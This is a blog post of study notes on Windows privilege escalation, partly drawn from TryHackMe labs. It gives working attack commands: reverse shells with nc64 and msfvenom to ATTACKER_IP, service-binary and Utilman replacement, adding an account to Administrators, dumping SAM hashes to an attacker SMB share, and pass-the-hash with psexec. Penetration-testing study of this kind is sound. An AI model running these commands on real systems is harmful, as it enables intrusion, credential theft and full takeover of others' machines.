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Windows Privilege Escalation: A Guide for Cybersecurity Professionals

  • aldern00b
  • Nov 22, 2023
  • 6 min read

Updated: Mar 5

Things we're looking for:

  • Misconfigurations on Windows services or scheduled tasks

  • Excessive privileges assigned to our account

  • Vulnerable software

  • Missing Windows security patches

  • logs/stored information


Notepad Session Data

C:\Users\[USERNAME]\AppData\Local\Packages\Microsoft.WindowsNotepad_{Random Numbers}\LocalState

Unattended Windows Installations

  • C:\Unattend.xml

  • C:\Windows\Panther\Unattend.xml

  • C:\Windows\Panther\Unattend\Unattend.xml

  • C:\Windows\system32\sysprep.inf

  • C:\Windows\system32\sysprep\sysprep.xml


Powershell History

using CMD: 

%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Using PS:

$Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials

cmdkey /list

You can't see passwords with this but you can pass them with this:

runas /savecred /user:admin cmd.exe

IIS Configuration


The configuration of websites on IIS is stored in a file called web.config

Find database connection strings:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve Credentials from Software: PuTTY


To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Scheduled Tasks

schtasks <-- look at all scheduled tasks

E.g.
Folder: \PowerToys
TaskName                                 Next Run Time          Status
======================================== ====================== =======
Autorun for Alder                        N/A                    Ready

schtasks /Query /TN "\PowerToys\Autorun for jason" /FO List /V <-- get advanced details about the task (need to include the folder with the task name.)

Folder: \PowerToys
HostName: ALDERN00B
TaskName: \PowerToys\Autorun for Alder

<snip...>

Task To Run: C:\Program Files\PowerToys\PowerToys.exe

If our current user can modify or overwrite the "Task to Run" executable, we can control what gets executed by the task user. To check the file permissions on the executable, we use 

icacls

If you see (F) as any of the permissions then you have full access. An example reverse shell would be:

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

AlwaysInstallElevated

These two registry entries need to be set

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer 
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

If these are set, you can generate a malicious .msi file using msfvenom, as seen below:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

Run it on the local host quietly

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Windows Services

All of the services configurations are stored on the registry under 

HKLM\SYSTEM\CurrentControlSet\Services\

SC is a command line program used for communicating with the Service Control Manager and services.

sc query <-- queries all the services
sc qc [SERVICE NAME] <-- gets all the detail for a service

sc qc WslInstaller
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: WslInstaller
        TYPE               : 210  WIN32_PACKAGED_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\WindowsApps\MicrosoftCorporationII.WindowsSubsystemForLinux_2.0.9.0_x64__8wekyb3d8bbwe\wslinstaller.exe" <-- the exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Windows Subsystem for Linux
        DEPENDENCIES       : staterepository
        SERVICE_START_NAME : ./AlderN00b <-- run by

I've modified the above to use as an example because this binary isn't actually vulnerable.


Using icacls we check the permissions on the exe and see everyone has full access to the exe. From here, we use MSVenom to create a new binary, overwrite the orignal binary, not forgetting to give everyone full permissions again, and either restart the service or wait for it to restart on it's own.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe <-- create reverse shell on attack box

python3 -m http.server <--host the file on attack bock

Invoke-WebRequest -Uri $url -OutFile $dest <-- PowerShell download
 
Move and replace the files
============================== 
CD  C:\Program Files\WindowsApps\MicrosoftCorporationII.WindowsSubsystemForLinux_2.0.9.0_x64__8wekyb3d8bbwe\
move wslinstaller.exe wslinstaller.exe.bkp
move C:\Users\AlderN00b\wslinstaller.exe wslinstaller.exe
icacls wslinstaller.exe /grant Everyone:F <-- permissions set

nc -lvnp 4445 <-- start a nc listener on the attack box

Restart the services (if possible)
====================================
sc stop wslinstaller.exe
sc start wslinstaller.exe

If the service is improperly configured and you're able to run the service as an admin/service account you can also change the bin path to a command and elevate privileges by adding your own account to the admin group


sc config FakeService binpath="cmd /c net localgroup administrators aldern00b /add"

stop and start the service and validate you're in the group with 

net localgroup Administrators

Unquoted Service Paths

Unquoted means that the path of the executable isn't properly quoted to account for spaces on the command. When we check for services, like above, look out for non-quoted binary paths we can use.


SCM manager takes these non-quoted paths and does something weird with them. It searches for the file it's looking for recursively, using the spaces in the path as areas.


Example:

C:\Program Files\Stuff Here\runme.exe

SCM will try 

C:\Program.exe
C:\Program Files.exe
C:\Program Files\Stuff.exe and on and on.

All we need to do is put an exe in one of the places it's searching for, with the name it wants and we can execute. Now, program files are usually blocked from being written to, so we'll be looking for binaries outside of these areas. We're basically going to do the same process as we did above but we're going to drop a new file in the root called Program.exe


Insecure Service Permissions

using sysinternals access check, we can check the access on the service itself. We'll explore THM's DACL as shown on their privesc study guide. 


accesschk64.exe -qlc thmservice   
[0] ACCESS_ALLOWED_ACE_TYPE: NT AUTHORITY\SYSTEM
         SERVICE_QUERY_STATUS
         SERVICE_QUERY_CONFIG         
         SERVICE_INTERROGATE         
         SERVICE_ENUMERATE_DEPENDENTS         
         SERVICE_PAUSE_CONTINUE         
         SERVICE_START         
         SERVICE_STOP         
         SERVICE_USER_DEFINED_CONTROL         
         READ_CONTROL   
[4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users         
         SERVICE_ALL_ACCESS

Here it shows that built in users have all access. Like we did above, we're going to create a new exe and start a nc listener then transfer it to the client machine, this time in any area we'd like. Make sure to give everyone permissions on it.


We're then going to point the service to this new binary. Notice we're telling it to run as the LocalSystem as it's the highest privilege account available.

C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Now when we stop and start those services, we will get a shell as the local system user!


Windows Privileges

SeBackup / SeRestore


Allow certain users to perform backups from a system without requiring full administrative privileges.


check privlages

whoami /priv

Backup the SAM database (windows passwords)

reg save hklm\system C:\Users\AlderN00b\system.hive
reg save hklm\sam C:\Users\AlderN00b\sam.hive

Transfer the files from the PC to your attackbox using impacket's smbserver.py https://github.com/fortra/impacket/blob/master/examples/smbserver.py . This creates a new public share that points to a new folder called share that we made. It' hosts it on an SMB server.

mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username AlderN00b -password MasterOfTheUnivers69 public share

Back on the PC we copy them to our attack box like this

copy C:\Users\AlderN00b\sam.hive \\ATTACKER_IP\public\ 
copy C:\Users\AlderN00b\system.hive \\ATTACKER_IP\public\

Using impacket again we cd to the share and get the hashes

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation  [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

We're not cracking these, we're going to be passing the hash here, again with impacket

python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f81ee5558e2d1205a84d07b0e3b34f5 administrator@10.10.18.105

SeTakeOwnership


SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys.


We'll abuse utilman.exe to escalate privileges this time by replacing it with our own binary. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen.

takeown /f C:\Windows\System32\Utilman.exe

Being the owner of a file doesn't mean that you have privileges, but being the owner you can assign yourself any privileges you need.

icacls C:\Windows\System32\Utilman.exe /grant AlderN00b:F

Then we replace the file

copy cmd.exe utilman.exe

Now we lock the screen and press the ease of access button to launch cmd.exe with system privleges.


SeImpersonate / SeAssignPrimaryToken


Allow a process to impersonate other users and act on their behalf. We're using the THM privesc compromised site example here: TryHackMe | Windows Privilege Escalation this user has the appropriate permissions assigned to them.


Using whoami /priv to check our permissions, as always. We're going to upload RogueWinRM to the website we've compromised, along with netcat for Windows.


As explained by THM: The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.


If, for some reason, the WinRM service isn't running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.


We start a nc listener and then we send this as the reverse shell to get back to us: 

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

-p is the exe we're running and -e is the command we're passing to it. It may take a 2-3 minutes to happen as it needs to start and stop the BITS service... that's 120 seconds... be patient lol.


Unpatched Software
wmic product get name,version,vendor

WMIC may not be comprehensive though, make sure to manually scan. Once you have a list, here's a few places to check for known exploits:



TOOLS

Please remember that automated tools can sometimes miss privilege escalation. Try and output any of these tools to a output file when available as the data is lengthy. For PowerShell scripts, be sure to Set-ExecutionPolicy.


WinPEAS


PrivEscCheck


WES-NG


Metasploit

If you have a meterpreter shell

multi/recon/local_exploit_suggester

PayloadsAllTheThings


Priv2Admin


RougeWinRM


Potatoes


Decoders Blog


Token Kidnapping


HackTricks


 
 
 

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